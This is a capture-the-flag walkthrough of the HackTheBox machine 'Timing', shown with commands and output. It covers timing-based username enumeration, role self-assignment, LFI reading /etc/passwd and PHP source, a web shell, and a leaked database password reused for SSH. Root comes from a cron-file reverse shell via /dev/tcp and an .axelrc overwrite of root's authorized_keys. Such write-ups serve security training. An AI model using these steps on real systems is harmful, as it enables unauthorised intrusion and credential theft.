Timing is a medium rated machine on HackTheBox created by irogir. For the user part we will first abuse a timing attack on the login functionality of a web application. Once logged in we are able to self assign us administrative privileges and abuse a LFI to eventually upload a web shell after reviewing the source code of the application. Using the webshell we find a backup which contains the password for a user to log in via ssh. This user is able to run a custom java application as the root user where we will go into two different ways to abuse this and capture the root flag.
User
As usual we start our enumeration with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.
Nmap
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -n -p- -T4 10.129.188.245
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 21:38 UTC
Nmap scan report for 10.129.188.245
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 116.30 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -p22,80 10.129.188.245
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 21:41 UTC
Nmap scan report for 10.129.188.245
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
User enumeration
From the two open ports http seems more promising. Opening the page in our browser we get redirected to the login page of Simple WebApp.
Playing around with the login in burp we can see that we have a noticable time difference if we enter admin
as the username compared to another one. If this holds true for every valid username we might be able to enumerate users of the application this way.
Using patator we are able to find another valid username aaron
.
1
2
3
4
5
6
7
8
$ patator http_fuzz 'url=http://10.129.188.245/login.php?login=true' method=POST body='user=FILE0&password=a' 0=/opt/SecLists/Usernames/Names/names.txt -x ignore:time=0-1
22:00:44 patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2021-12-11 22:00 UTC
22:00:44 patator INFO -
22:00:44 patator INFO - code size:clen time | candidate | num | mesg
22:00:44 patator INFO - -----------------------------------------------------------------------------
22:00:45 patator INFO - 200 6357:5963 1.161 | aaron | 4 | HTTP/1.1 200 OK
22:00:45 patator INFO - 200 6357:5963 1.161 | admin | 86 | HTTP/1.1 200 OK
22:01:17 patator INFO - Hits/Done/Skip/Fail/Size: 2/10177/0/0/10177, Avg: 304 r/s, Time: 0h 0m 33s
Trying with the username as password aswell we are able to log into the application.
Access control
We now have access to the Edit Profile
feature on the website.
To take a closer look we intercept the request and send it to burp repeater. The response contains a json object with more parameters than we are setting.
Testing if we can set the role parameter which is initially not in the form we are successful.
Webshell
Refreshing the page we now have access to the Admin panel
.
Looking at the javascript file handling the upload functionality we find an interesting looking path.
Testing if we can include other files ../
seems to be blocked by a waf but we are successfull using the php wrapper.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ curl -s 'http://10.129.188.245/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
Looking at the source code of image.php
itself we see how the blacklist is implemented. Another interesting thing is that, if we pass the blacklist include
is called on the file. This means any php code between the <?php xxx ?>
tags will be executed regardless of the file extension.
1
$curl -s 'http://10.129.189.14/image.php?img=php://filter/convert.base64-encode/resource=image.php' | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
Now we just need to know where the file gets uploaded. This is handled in upload.php
so we take a close look at it aswell.
1
$ curl -s 'http://10.129.188.245/image.php?img=php://filter/convert.base64-encode/resource=upload.php' | base64 -d
At first this looks like more bruteforce work for us than it actually is. Because $file_hash
is inside single quotes this means it is just the string literal. This is then hashed with the current time and _
plus the filename get concatenated to the result.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Uploading a simple php reverse shell with the jpg extension we can see the server time, which we need, in repeater.
Next we just have to take the md5sum of $file_hash
+ the server time in epoch format, add _
and the filename to that.
1
2
$ date --date='12/11/2021 23:30:01' +"%s"
1639265401
1
2
3
4
5
$ php -a
Interactive mode enabled
php > echo(md5('$file_hash1639265401') . '_shell.php.jpg');
14825a2e927efad4b527cfdfdc212129_shell.php.jpg
Using curl we see the file exists and we have remote code execution on the target.
1
2
$ curl 'http://10.129.189.14/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg&1=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Credential reuse
There seems to be a firewall on the target which was blocking outbound connection as www-data, however after looking around we quickly find an interesting backup in /opt/
.
1
2
3
4
5
$ curl -s -XPOST 'http://10.129.188.245/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg' -d '1=ls -al /opt'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 01:34 ..
-rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip
After transfering and unziping the backup on our machine we see it contains a git repository.
1
$ curl -s -XPOST 'http://10.129.188.245/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg' -d '1=base64 -w0 /opt/source-files-backup.zip' | base64 -d > source-files-backup.zip
There are only two commits in the repo. Diffing them we see another database password.
1
2
3
4
5
6
7
8
9
10
11
12
$ git log
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:34:13 2021 +0000
db_conn updated
commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:33:54 2021 +0000
init
1
2
3
4
5
6
7
8
9
$ git diff 16de2698b5b122c93461298eab730d00273bd83e e4e214696159a25c69812571c8214d2bf8736a3f
diff --git a/db_conn.php b/db_conn.php
index 5397ffa..f1c9217 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
<?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
Testing the older password with our earlier found user aaron
against ssh we are able to log into the machine and grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ssh aaron@10.129.189.14
The authenticity of host '10.129.189.14 (10.129.189.14)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.189.14' (ECDSA) to the list of known hosts.
aaron@10.129.189.14's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Dec 11 23:49:21 UTC 2021
System load: 0.07 Processes: 169
Usage of /: 48.7% of 4.85GB Users logged in: 0
Memory usage: 10% IP address for eth0: 10.129.189.14
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
aaron@timing:~$ wc -c user.txt
33 user.txt
Root
Netutils
Checking for sudo permissions we see that aaron is allowed to run /usr/bin/netutils
, which is a bash script that runs a jar located in rootโs home directory.
1
2
3
4
5
6
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
1
2
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
1
2
3
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Testing it we can choose between FTP
and HTTP
. Choosing HTTP
prompts us to enter a url.
1
2
3
4
5
6
7
8
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url:
To test it we first create a file with distinct name and content to be able to find it later again in case it getโs placed somewhere else.
1
$ echo lghrkjlhgfdjkghfdkjghdfkjghfd > test_file_12354
We server the file using python and enter the url.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Enter Url: 10.10.14.59/test_file_12354
Initializing download: http://10.10.14.59/test_file_12354
File size: 30 bytes
Opening output file test_file_12354
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 30 byte in 0 seconds. (0.29 KB/s)
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.14 - - [11/Dec/2021 23:53:34] "GET /test_file_12354 HTTP/1.0" 200 -
10.129.189.14 - - [11/Dec/2021 23:53:35] "GET /test_file_12354 HTTP/1.0" 200 -
The file got downloaded in our current working directory and is owned by root.
1
2
3
4
aaron@timing:~$ find / -name test_file_12354 -ls 2>/dev/null
3152 4 -rw-r--r-- 1 root root 30 Dec 11 23:53 /home/aaron/test_file_12354
aaron@timing:~$ pwd
/home/aaron
Cronjob
One way to abuse this is the fact we have file write as the root user in any directory we are able to cd into. Getting root from here is as simple as creating a cronjob file on our machine that sends a reverse shell back to us.
legit
1
* * * * * root bash -c 'bash -i >&/dev/tcp/10.10.14.59/7575 0>&1'
Now we just have to set up our listener.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Cd into /etc/cron.d/
and download the cronjob using /usr/bin/netutils
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
aaron@timing:~$ cd /etc/cron.d
aaron@timing:/etc/cron.d$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.59/legit
Initializing download: http://10.10.14.59/legit
File size: 71 bytes
Opening output file legit
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 71 byte in 0 seconds. (0.69 KB/s)
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> ^C
After about a minute later we get a connection on our listener as the root user.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.189.14.
Ncat: Connection from 10.129.189.14:48750.
bash: cannot set terminal process group (7414): Inappropriate ioctl for device
bash: no job control in this shell
root@timing:~# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt
root@timing:~#
Axelrc
After checking the useragent of the downloader we see that it is User-Agent': 'Axel/2.16.1 (Linux)
. Another way to abuse this is the .axelrc
file. In this file we are able to specify a default filename for downloaded files. This applies in cases where the url does not contain a filename. First we create an .axelrc
in aaronโs home directory.
1
2
aaron@timing:~$ cat .axelrc
default_filename = /root/.ssh/authorized_keys
Then we create a ssh keypair moving the public key to index.html
.
1
cp ../root.pub index.html
Next we serve the public key with a python webserver and initiate the download without a filepath.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.59
Initializing download: http://10.10.14.59
File size: 565 bytes
Opening output file /root/.ssh/authorized_keys
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 565 byte in 0 seconds. (5.50 KB/s)
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
This leads to index.html
getting downloaded and saved as /root/.ssh/authorized_keys
.
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.14 - - [12/Dec/2021 00:02:56] "GET / HTTP/1.0" 200 -
10.129.189.14 - - [12/Dec/2021 00:02:56] "GET / HTTP/1.0" 200 -
Now we can simply ssh into the machine as the root user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh -i root root@10.129.189.14
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Dec 12 00:02:59 UTC 2021
System load: 0.0 Processes: 180
Usage of /: 48.7% of 4.85GB Users logged in: 1
Memory usage: 13% IP address for eth0: 10.129.189.14
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Dec 12 00:02:16 2021 from 10.10.14.59
root@timing:~#